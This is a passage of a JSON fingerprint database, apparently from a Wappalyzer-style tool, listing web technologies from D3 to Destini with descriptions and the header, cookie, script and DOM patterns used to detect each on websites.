    "content": "{\n  \"D3\": {\n    \"cats\": [\n      25\n    ],\n    \"cpe\": \"cpe:2.3:a:d3.js_project:d3.js:*:*:*:*:*:*:*:*\",\n    \"description\": \"D3.js is a JavaScript library for producing dynamic, interactive data visualisations in web browsers.\",\n    \"icon\": \"D3.svg\",\n    \"js\": {\n      \"d3.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"/d3(?:\\\\.v\\\\d+)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://d3js.org\"\n  },\n  \"DDoS-Guard\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"DDoS-Guard is a Russian Internet infrastructure company which provides DDoS protection, content delivery network services, and web hosting services.\",\n    \"headers\": {\n      \"server\": \"^ddos-guard$\"\n    },\n    \"icon\": \"DDoS-Guard.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://ddos-guard.net\"\n  },\n  \"DERAK.CLOUD\": {\n    \"cats\": [\n      31\n    ],\n    \"cookies\": {\n      \"__derak_auth\": \"\",\n      \"__derak_user\": \"\"\n    },\n    \"headers\": {\n      \"Derak-Umbrage\": \"\",\n      \"Server\": \"^DERAK\\\\.CLOUD$\"\n    },\n    \"icon\": \"DerakCloud.svg\",\n    \"js\": {\n      \"derakCloud.init\": \"\"\n    },\n    \"website\": \"https://derak.cloud\"\n  },\n  \"DHL\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"DHL is an international courier, package delivery and express mail service, which is a division of the German logistics firm Deutsche Post.\",\n    \"dom\": {\n      \"img[alt*='dhl' i]\": {\n        \"attributes\": {\n          \"alt\": \"\\\\bDHL\\\\b\"\n        }\n      }\n    },\n    \"icon\": \"DHL.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bUK Mail\\\\b\",\n      \"\\\\bDHL\\\\b\"\n    ],\n    \"website\": \"https://www.dhl.com\"\n  },\n  \"DHTMLX\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"DHTMLX specialises in building JavaScript UI libraries for project management, event planning, big data visualisation, and reporting.\",\n    \"icon\": \"DHTMLX.svg\",\n    \"js\": {\n      \"dhtmlDragAndDropObject\": \"\",\n      \"dhtmlXTreeItemObject\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"/dhtmlxcommon\\\\.js\"\n    ],\n    \"website\": \"https://dhtmlx.com\"\n  },\n  \"DM Polopoly\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"DM Polopoly is a web content management solution focused on enhancing the user experience built by Atex.\",\n    \"dom\": [\n      \"img[data-src*='/polopoly_fs/'], link[href*='/polopoly_fs/'], img[src*='/polopoly_fs/']\"\n    ],\n    \"icon\": \"DM Polopoly.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://www.atex.com/products/dm-polopoly\"\n  },\n  \"DNN\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"DotNetNukeAnonymous\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Cookie\": \"dnn_IsMobile=\",\n      \"DNNOutputCache\": \"\",\n      \"X-Compressed-By\": \"DotNetNuke\"\n    },\n    \"html\": [\n      \"<!-- by DotNetNuke Corporation\",\n      \"<!-- DNN Platform\"\n    ],\n    \"icon\": \"DNN.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"DotNetNuke\": \"\",\n      \"__dnncore\": \"\",\n      \"dnn.apiversion\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"dnnJscriptVersion\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"DotNetNuke\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/js/dnncore\\\\.js\",\n      \"/js/dnn\\\\.js\"\n    ],\n    \"website\": \"https://www.dnnsoftware.com/\"\n  },\n  \"DPD\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"DPD is an international parcel delivery service for sorter compatible parcels.\",\n    \"icon\": \"DPD.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bDPD\\\\b\"\n    ],\n    \"website\": \"https://www.dpd.com\"\n  },\n  \"DPlayer\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"DPlayer is an HTML 5 video player that supports pop-up.\",\n    \"icon\": \"DPlayer.svg\",\n    \"js\": {\n      \"DPlayer\": \"\",\n      \"DPlayer.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/dplayer\\\\.js\"\n    ],\n    \"website\": \"https://dplayer.js.org\"\n  },\n  \"DTScout\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"DTScout is a marketing data intelligence software.\",\n    \"icon\": \"DTScout.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.dtscout\\\\.com/\"\n    ],\n    \"website\": \"https://www.dtscout.com\"\n  },\n  \"DX\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"DX (also known as DX Freight) is a British mail, courier and logistics company.\",\n    \"icon\": \"DX.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bDX\\\\b\"\n    ],\n    \"website\": \"https://www.dxdelivery.com\"\n  },\n  \"DX1\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"DX1 is an entirely cloud-based dealership management system for the motorcycle and powersports industry. Offering DMS, website, CRM and marketing tools.\",\n    \"icon\": \"DX1.svg\",\n    \"js\": {\n      \"Dx1.Dnn\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"DNN\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.dx1app\\\\.com/\"\n    ],\n    \"website\": \"https://www.dx1app.com\"\n  },\n  \"Dachser\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Dachser is a German freight company.\",\n    \"icon\": \"Dachser.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bDachser\\\\b\"\n    ],\n    \"website\": \"https://www.dachser.com\"\n  },\n  \"Daily Deals\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Daily Deals is a flash sale, limited-time discounts, countdown timers, and sales analytics solution.\",\n    \"icon\": \"Daily Deals.svg\",\n    \"js\": {\n      \"ddAddToCheckout\": \"\\\\;confidence:50\",\n      \"ddAddToOrder\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.dailydeals\\\\.ai/\"\n    ],\n    \"website\": \"https://dailydeals.ai\"\n  },\n  \"DailyKarma\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"DailyKarma is a turnkey cause marketing solutions for ecommerce merchants.\",\n    \"icon\": \"DailyKarma.svg\",\n    \"js\": {\n      \"dkWidgetInit\": \"\\\\;confidence:50\",\n      \"dk_widget\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.dailykarma\\\\.io/\"\n    ],\n    \"website\": \"https://www.dailykarma.com\"\n  },\n  \"Dailymotion\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Dailymotion is a French video-sharing technology platform.\",\n    \"dom\": [\n      \"img[data-src*='.dailymotion.com/'], iframe[scr*='.dailymotion.com/']\"\n    ],\n    \"icon\": \"Dailymotion.svg\",\n    \"meta\": {\n      \"name\": \"dailymotion-domain-verification\"\n    },\n    \"website\": \"https://www.dailymotion.com\"\n  },\n  \"DanDomain\": {\n    \"cats\": [\n      6,\n      88\n    ],\n    \"description\": \"Dandomain is a Danish company specializing in website creation, hosting, and domain registration services.\",\n    \"icon\": \"DanDomain.svg\",\n    \"meta\": {\n      \"generator\": \"^SmartWeb$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"AngularJS\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://dandomain.dk\"\n  },\n  \"DanDomain Webshop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"DanDomain Webshop is a Danish ecommerce platform provided by DanDomain, offering businesses the tools to create and manage their online stores.\",\n    \"icon\": \"DanDomain.svg\",\n    \"meta\": {\n      \"generator\": \"^DanDomain\\\\sWebshop$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://dandomain.dk/webshop\"\n  },\n  \"Dancer\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:dancer:dancer:*:*:*:*:*:*:*:*\",\n    \"description\": \"Dancer is a simple but powerful web application framework for Perl.\",\n    \"headers\": {\n      \"Server\": \"Perl Dancer ([\\\\d.]+)\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"Perl Dancer ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Dancer.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://perldancer.org\"\n  },\n  \"Danneo CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"CMS Danneo ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Danneo CMS.png\",\n    \"implies\": [\n      \"Apache HTTP Server\",\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"Danneo CMS ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://danneo.ru/\"\n  },\n  \"Daphne\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"Daphne\"\n    },\n    \"icon\": \"daphne.svg\",\n    \"implies\": [\n      \"TwistedWeb\",\n      \"Python\",\n      \"Zope\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/django/daphne\"\n  },\n  \"Darkmode.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Darkmode.js is a JavaScript library that enables an HTML element to switch between CSS themes.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"Darkmode\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"darkmode-js@([\\\\d\\\\.]+)/lib/darkmode-js\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/sandoche/Darkmode.js\"\n  },\n  \"Dart\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"Dart is an open-source, general-purpose, object-oriented programming language developed by Google.\",\n    \"icon\": \"Dart.svg\",\n    \"js\": {\n      \"$__dart_deferred_initializers__\": \"\",\n      \"___dart__$dart_dartObject_ZxYxX_0_\": \"\",\n      \"___dart_dispatch_record_ZxYxX_0_\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/(?:\\\\.)?(?:dart)(?:\\\\.js)?/\"\n    ],\n    \"website\": \"https://dart.dev\"\n  },\n  \"Darwin\": {\n    \"cats\": [\n      28\n    ],\n    \"description\": \"Darwin is the open-source operating system from Apple that forms the basis for macOS.\",\n    \"headers\": {\n      \"Server\": \"Darwin\",\n      \"X-Powered-By\": \"Darwin\"\n    },\n    \"icon\": \"Apple.svg\",\n    \"website\": \"https://opensource.apple.com\"\n  },\n  \"Dashly\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Dashly is a conversational marketing platform designed to increase quality lead encounters and reduce customer acquisition costs.\",\n    \"icon\": \"Dashly.svg\",\n    \"js\": {\n      \"dashly\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.dashly\\\\.app/\"\n    ],\n    \"website\": \"https://www.dashly.io\"\n  },\n  \"DataDome\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"datadome\": \"\",\n      \"datadome-_zldp\": \"\",\n      \"datadome-_zldt\": \"\"\n    },\n    \"description\": \"DataDome is a cybersecurity platform that specialises in bot protection and mitigation, offering advanced solutions to safeguard websites and mobile applications against malicious bot traffic, credential stuffing, scraping, and other automated threats.\",\n    \"headers\": {\n      \"Server\": \"^DataDome$\",\n      \"X-DataDome\": \"\",\n      \"X-DataDome-CID\": \"\"\n    },\n    \"icon\": \"DataDome.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"^https://ct\\\\.datadome\\\\.co/[a-z]\\\\.js$\"\n    ],\n    \"website\": \"https://datadome.co\"\n  },\n  \"DataLife Engine\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:dleviet:datalife_engine:*:*:*:*:*:*:*:*\",\n    \"icon\": \"DataLife Engine.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Apache HTTP Server\"\n    ],\n    \"js\": {\n      \"dle_root\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"DataLife Engine\"\n    },\n    \"website\": \"https://dle-news.ru\"\n  },\n  \"DataMilk\": {\n    \"cats\": [\n      10,\n      19\n    ],\n    \"description\": \"DataMilk is an AI tool which autonomously optimises customer UI for ecommerce customers in order to increase conversions.\",\n    \"icon\": \"DataMilk.svg\",\n    \"js\": {\n      \"datamilkMagicAiExecuted\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.datamilk.ai\"\n  },\n  \"DataTables\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:datatables:datatables.net:*:*:*:*:*:*:*:*\",\n    \"description\": \"DataTables is a plug-in for the jQuery Javascript library adding advanced features like pagination, instant search, themes, and more to any HTML table.\",\n    \"icon\": \"DataTables.png\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"$.fn.dataTable.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"jQuery.fn.dataTable.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"dataTables.*\\\\.js\"\n    ],\n    \"website\": \"https://datatables.net\"\n  },\n  \"Datadog\": {\n    \"cats\": [\n      78,\n      10\n    ],\n    \"description\": \"Datadog is a SaaS-based monitoring and analytics platform for large-scale applications and infrastructure.\",\n    \"icon\": \"Datadog.svg\",\n    \"js\": {\n      \"DD_LOGS\": \"\\\\;confidence:1\",\n      \"DD_RUM\": \"\\\\;confidence:99\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"payg\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.datadoghq-browser-agent\\\\.com\"\n    ],\n    \"website\": \"https://www.datadoghq.com\"\n  },\n  \"Datanyze\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Datanyze is a provider of visitor tracking script, offering sales intelligence and lead generation software solutions.\",\n    \"icon\": \"Datanyze.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.datanyze\\\\.com/\"\n    ],\n    \"website\": \"https://www.datanyze.com\"\n  },\n  \"Datascape\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Datascape is a cloud-based solution designed to create new ways for councils to work and better engage with their communities.\",\n    \"dom\": [\n      \"link[href*='cdn-sites.datascape.cloud']\"\n    ],\n    \"icon\": \"Datascape.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://datacom.com/nz/en/products/datascape\"\n  },\n  \"Datatrics\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Datatrics is a data-driven marketing platform that provides businesses with advanced tools and analytics to optimise customer experiences, personalise marketing campaigns, and drive engagement through data-driven insights and automation.\",\n    \"dom\": [\n      \"link[href*='.datatrics.com']\"\n    ],\n    \"icon\": \"Datatrics.svg\",\n    \"js\": {\n      \"DatatricsClick\": \"\",\n      \"datatricsEvents\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://datatrics.com\"\n  },\n  \"DatoCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"DatoCMS is a cloud-based headless Content as a service (CaaS) platform created to work with static websites, mobile apps and server-side applications of any kind.\",\n    \"dom\": [\n      \"link[href*='datocms-assets.com'], img[src*='datocms-assets.com'], source[src*='datocms-assets.com'], div[style*='datocms-assets.com']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.datocms-assets\\\\.com\"\n    },\n    \"icon\": \"DatoCMS.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.datocms.com\"\n  },\n  \"Day.js\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"Day.js.svg\",\n    \"js\": {\n      \"dayjs\": \"\"\n    },\n    \"website\": \"https://github.com/iamkun/dayjs\"\n  },\n  \"Dealer Spike\": {\n    \"cats\": [\n      36,\n      32\n    ],\n    \"description\": \"Dealer Spike is a digital marketing and advertising company focused that helps dealers grow their business.\",\n    \"dom\": [\n      \"meta[name='author'][content*='Dealer Spike']\"\n    ],\n    \"icon\": \"Dealer Spike.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.dealerspike\\\\.com\"\n    ],\n    \"website\": \"https://www.dealerspike.com\",\n    \"xhr\": [\n      \"\\\\.dealerspike\\\\.com\"\n    ]\n  },\n  \"Debian\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:debian:debian_linux:*:*:*:*:*:*:*:*\",\n    \"description\": \"Debian is a Linux software which is a free open-source software.\",\n    \"headers\": {\n      \"Server\": \"Debian\",\n      \"X-Powered-By\": \"(?:Debian|dotdeb|(potato|woody|sarge|etch|lenny|squeeze|wheezy|jessie|stretch|buster|sid))\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Debian.png\",\n    \"website\": \"https://debian.org\"\n  },\n  \"Decap CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Decap CMS is an open-source content management system designed to integrate with Git workflows.\",\n    \"icon\": \"DecapCMS.svg\",\n    \"js\": {\n      \"DecapCms.getBackend\": \"\",\n      \"DecapCmsApp.getBackend\": \"\",\n      \"webpackChunkdecap_website\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://decapcms.org\"\n  },\n  \"Decibel\": {\n    \"cats\": [\n      10,\n      74\n    ],\n    \"description\": \"Decibel is a behavioral analysis solution that helps users gain actionable insights about their digital audience.\",\n    \"icon\": \"Decibel.svg\",\n    \"js\": {\n      \"decibelInsight\": \"\",\n      \"decibelInsightLayer\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.decibelinsight\\\\.net\"\n    ],\n    \"website\": \"https://decibel.com\"\n  },\n  \"DedeCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*\",\n    \"description\": \"DedeCMS is an open-source content management system developed by Shanghai Zhi Zhuo Network Technology, known for its customizable templates and strong SEO capabilities.\",\n    \"icon\": \"DedeCMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"DedeContainer\": \"\"\n    },\n    \"scriptSrc\": [\n      \"dedeajax\"\n    ],\n    \"website\": \"https://dedecms.com\"\n  },\n  \"Deep Lawn\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Deep Lawn is a sales tool designed for lawn care and pest control companies.\",\n    \"icon\": \"DeepLawn.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.deeplawn\\\\.com/\"\n    ],\n    \"website\": \"https://deeplawn.com\"\n  },\n  \"DeepAR\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"DeepAR is SDK that integrates AR face filters, 3D masks, effects, and background removal into websites, apps, or games.\",\n    \"dom\": [\n      \"source[src*='demo.deepar.ai/']\"\n    ],\n    \"icon\": \"DeepAR.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.deepar.ai\"\n  },\n  \"Delacon\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Delacon provides Australian businesses with Call Tracking, Call Management and Speech Analytics solutions.\",\n    \"icon\": \"Delacon.svg\",\n    \"js\": {\n      \"dela_247_call\": \"\",\n      \"delaconphonenums\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.delacon.com.au\"\n  },\n  \"Delight XR\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Delight XR is a video platform catering to regular, AR, and VR content with high-quality delivery.\",\n    \"icon\": \"DelightXR.svg\",\n    \"js\": {\n      \"DelightVR\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.delight-vr\\\\.com\"\n    ],\n    \"website\": \"https://delight-vr.com\"\n  },\n  \"DelightChat\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"DelightChat is a customer service platform for Shopify, offering omnichannel support via Email, Live Chat, Facebook, Instagram, and WhatsApp, all managed through a shared inbox.\",\n    \"dom\": [\n      \"div#delightchat-widget, div#delightchat-welcome-widget\"\n    ],\n    \"icon\": \"DelightChat.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.delightchat.io\"\n  },\n  \"Delighted\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Delighted is a feedback collection and analysis SaaS, offering a web and mobile solution that uses the Net Promoter System (NPS) to gauge and score customer experience.\",\n    \"icon\": \"Delighted.svg\",\n    \"js\": {\n      \"_delighted\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://delighted.com\"\n  },\n  \"Delivengo\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Delivengo is an international shipping service powered by La Poste.\",\n    \"icon\": \"La Poste.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bDelivengo\\\\b\"\n    ],\n    \"website\": \"https://mydelivengo.laposte.fr/\"\n  },\n  \"Deliverr\": {\n    \"cats\": [\n      107\n    ],\n    \"description\": \"Deliverr is a fulfilment service that facilitates shipping services for ecommerce businesses.\",\n    \"icon\": \"Deliverr.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"deliverrScript\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"fast-tags\\\\.deliverr\\\\.com\"\n    ],\n    \"website\": \"https://deliverr.com\"\n  },\n  \"Delm\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Delm is a customisable and multilingual delivery date estimation app for Shopify, providing shipping information.\",\n    \"icon\": \"Delm.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.delm\\\\.io/\"\n    ],\n    \"website\": \"https://delm.io\"\n  },\n  \"Demandbase\": {\n    \"cats\": [\n      10,\n      76\n    ],\n    \"description\": \"Demandbase is a targeting and personalization platform for business-to-business companies.\",\n    \"icon\": \"demandbase.svg\",\n    \"js\": {\n      \"Demandbase\": \"\",\n      \"Demandbase.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.engagio\\\\.com/\",\n      \"\\\\.demandbase\\\\.com/\"\n    ],\n    \"website\": \"https://www.demandbase.com\"\n  },\n  \"Demio\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Demio is a webinar platform designed for marketing purposes.\",\n    \"dom\": [\n      \"script#demio-js\"\n    ],\n    \"icon\": \"Demio.svg\",\n    \"js\": {\n      \"DEMIO_API_URI\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.demio.com\"\n  },\n  \"DenGro\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"DenGro is a software solution tailored for dental practitioners, facilitating streamlined practice operations.\",\n    \"dom\": [\n      \"form[action*='app.dengro.com/']\"\n    ],\n    \"icon\": \"DenGro.svg\",\n    \"js\": {\n      \"dengro.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://dengro.com\"\n  },\n  \"Deno\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*\",\n    \"description\": \"A modern runtime for JavaScript and TypeScript.\",\n    \"icon\": \"deno.svg\",\n    \"oss\": true,\n    \"website\": \"https://deno.land\"\n  },\n  \"Deno Deploy\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Deno Deploy is a distributed system that runs JavaScript, TypeScript, and WebAssembly at the edge, worldwide.\",\n    \"headers\": {\n      \"server\": \"^deno/*\"\n    },\n    \"icon\": \"deno.svg\",\n    \"implies\": [\n      \"Deno\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://deno.land/\"\n  },\n  \"Depict\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Depict is an ecommerce personalisation solution for fashion.\",\n    \"dom\": [\n      \"link[href*='.depict.ai/']\"\n    ],\n    \"icon\": \"Depict.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://depict.ai\"\n  },\n  \"DeskPro\": {\n    \"cats\": [\n      1,\n      53\n    ],\n    \"cpe\": \"cpe:2.3:a:deskpro:deskpro:*:*:*:*:*:*:*:*\",\n    \"description\": \"DeskPro is multi channel helpdesk software for managing customer and citizen requests via email, forms, chat, social and voice.\",\n    \"icon\": \"DeskPro.svg\",\n    \"meta\": {\n      \"generator\": \"^DeskPRO.+$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.deskpro.com\"\n  },\n  \"DeskPro Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"DeskPro is multi channel helpdesk software for managing customer and citizen requests via email, forms, chat, social and voice.\",\n    \"icon\": \"DeskPro.svg\",\n    \"js\": {\n      \"DESKPRO_WIDGET_OPTIONS.chat\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.deskpro.com/product/chat\"\n  },\n  \"Deskero\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Deskero is a customizable cloud-based help desk software and support ticket system designed to manage customer service.\",\n    \"icon\": \"Deskero.svg\",\n    \"js\": {\n      \"deskeroUser\": \"\",\n      \"deskeroWidget.init\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.deskero\\\\.com/\"\n    ],\n    \"website\": \"https://www.deskero.com/\"\n  },\n  \"Desku\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Desku is a customer support tool that helps ecommerce businesses manage and respond to customer inquiries.\",\n    \"icon\": \"Desku.svg\",\n    \"js\": {\n      \"Desku\": \"\",\n      \"isDeskuManagerRunning\": \"\",\n      \"isDeskuWidgetAuthSetup\": \"\",\n      \"isdeskuManagerRunning\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.desku\\\\.io/chat-widget\\\\.js\",\n      \"livechat\\\\.desku\\\\.io/cdn/widget\\\\.js\"\n    ],\n    \"website\": \"https://desku.io\"\n  },\n  \"Destinet\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Destinet is a homepage generator system designed to streamline the creation of customizable web pages.\",\n    \"headers\": {\n      \"server\": \"Destinet\"\n    },\n    \"js\": {\n      \"DestinetMap.SetMap\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.destinet.no\"\n  },\n  \"Destini\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Destini is a product locator solution that offers automated store-level data, advanced analytics, and customizable web and mobile applications.\",\n    \"icon\": 